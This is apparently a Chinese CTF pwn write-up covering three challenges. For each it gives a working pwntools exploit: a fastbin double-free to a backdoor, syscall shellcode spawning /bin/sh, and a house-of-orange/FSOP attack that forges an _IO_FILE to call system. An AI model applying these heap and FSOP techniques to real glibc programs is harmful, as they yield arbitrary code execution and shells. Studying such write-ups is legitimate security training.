heap
# wustctf2020_easyfast(fastbin attack)
基本 fastbin attack 利用,改 chunk 到 backdoor 地址,将 if 条件中的变量覆盖为 0 拿 shell
## EXP
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 
 | from pwn import *
 
 p = remote('node4.buuoj.cn',29433)
 
 def add(size):
 p.recvuntil('choice>')
 p.sendline('1')
 p.recvuntil('size>')
 p.sendline(str(size))
 
 
 def delete(index):
 p.recvuntil('choice>')
 p.sendline('2')
 p.recvuntil('index>')
 p.sendline(str(index))
 
 def edit(idx,content):
 p.sendlineafter('choice>','3')
 p.sendlineafter('index>',str(idx))
 p.send(content)
 
 def backdoor():
 p.sendlineafter('choice>','4')
 
 add(0x40)
 add(0x40)
 
 delete(0)
 delete(1)
 delete(0)
 
 edit(0,p64(0x602080))
 add(0x40)
 
 add(0x40)
 edit(3,p64(0))
 backdoor()
 
 
 p.interactive()
 
 | 
# starctf_2019_babyshell(syscall)
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | 
 from pwn import *
 
 context(log_level = 'debug',os = 'linux',arch = 'amd64')
 
 payload = asm("pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;syscall")
 
 sh = remote("node4.buuoj.cn",28428)
 sh.sendlineafter("plz:\n",payload)
 sh.sendline('a' * 0xc + asm(shellcraft.sh()))
 
 sh.interactive()
 
 
 | 
# houseoforange_hitcon_2016(house of orange,frop)
# 题目分析



- Build the house 即 add 函数,最多只能创建 4 次 chunk

# 思路
# 关于 house of orange
核心在于当题目中不存在 free 函数时,通过漏洞利用获得 free 的效果,即在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。 这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。
# FSOP
在 libc 的 _IO_list_all  中,存放有一个 _IO_FILE_plus  结构体的指针,
如下图,它指向 _IO_2_1_stderr_ :

而 _IO_FILE_plus  结构体详细内容如下

其中_chain 指向下一个 _IO_FILE_plus  结构体
在 malloc 中,它调用 malloc_printerr 来打印错误,经过一系列调用,最终来到 _IO_flush_all_lockp :
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | while (fp != NULL){
 …
 fp = fp->_chain;
 ...
 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
 || (_IO_vtable_offset (fp) == 0
 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
 > fp->_wide_data->_IO_write_base))
 #endif
 )
 && _IO_OVERFLOW (fp, EOF) == EOF)
 
 
 | 
如果满足以下条件:
| 12
 3
 
 | fp->_mode > 0_IO_vtable_offset (fp) == 0
 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
 
 | 
就会调用 _IO_OVERFLOW,并把结构体当做第一个参数传入
如果我们能够把 _IO_OVERFLOW 改为 system,并且伪造结构体,开头为 /bin/sh,就能获得 shell 了
# EXP
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 
 | from pwn import *from LibcSearcher import *
 context.log_level = 'debug'
 
 
 
 r= process('houseoforange_hitcon_2016')
 
 elf = ELF("./houseoforange_hitcon_2016")
 libc = ELF('./libc-2.23.so')
 
 def add(size, content, price, color):
 r.recvuntil("Your choice : ")
 r.sendline('1')
 r.recvuntil("Length of name :")
 r.sendline(str(size))
 r.recvuntil("Name :")
 r.send(content)
 r.recvuntil("Price of Orange:")
 r.sendline(str(price))
 r.recvuntil("Color of Orange:")
 r.sendline(str(color))
 
 
 def show():
 r.recvuntil("Your choice : ")
 r.sendline('2')
 
 def edit(size, content, price, color):
 r.recvuntil("Your choice : ")
 r.sendline('3')
 r.recvuntil("Length of name :")
 r.sendline(str(size))
 r.recvuntil("Name:")
 r.send(content)
 r.recvuntil("Price of Orange:")
 r.sendline(str(price))
 r.recvuntil("Color of Orange:")
 r.sendline(str(color))
 
 
 
 add(0x30,'aaaa\n',0x1234,0xddaa)
 payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
 edit(len(payload), payload, 666, 0xddaa)
 
 add(0x1000, 'a\n',0x1234, 0xddaa)
 add(0x400, 'a' * 8, 199, 2)
 show()
 r.recvuntil('a'*8)
 malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
 success('malloc_hook = '+hex(malloc_hook))
 libc.address = malloc_hook - libc.symbols['__malloc_hook']
 io_list_all = libc.symbols['_IO_list_all']
 system = libc.symbols['system']
 
 payload = 'b' * 0x10
 edit(0x10, payload, 199, 2)
 show()
 r.recvuntil('b'*0x10)
 heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
 heap_base = heap - 0xE0
 success('heap = '+hex(heap))
 
 
 payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
 fake_file = '/bin/sh\x00'+p64(0x61)
 fake_file += p64(0)+p64(io_list_all-0x10)
 fake_file += p64(0) + p64(1)
 fake_file = fake_file.ljust(0xc0,'\x00')
 fake_file += p64(0) * 3
 fake_file += p64(heap_base+0x5E8)
 fake_file += p64(0) * 2
 fake_file += p64(system)
 payload += fake_file
 edit(len(payload), payload, 666, 2)
 
 r.recvuntil("Your choice : ")
 r.sendline('1')
 
 r.interactive()
 
 
 | 
# 参考文章
https://bbs.pediy.com/thread-222718.htm
https://www.anquanke.com/post/id/218887#h3-4
https://blog.csdn.net/weixin_44145820/article/details/105270036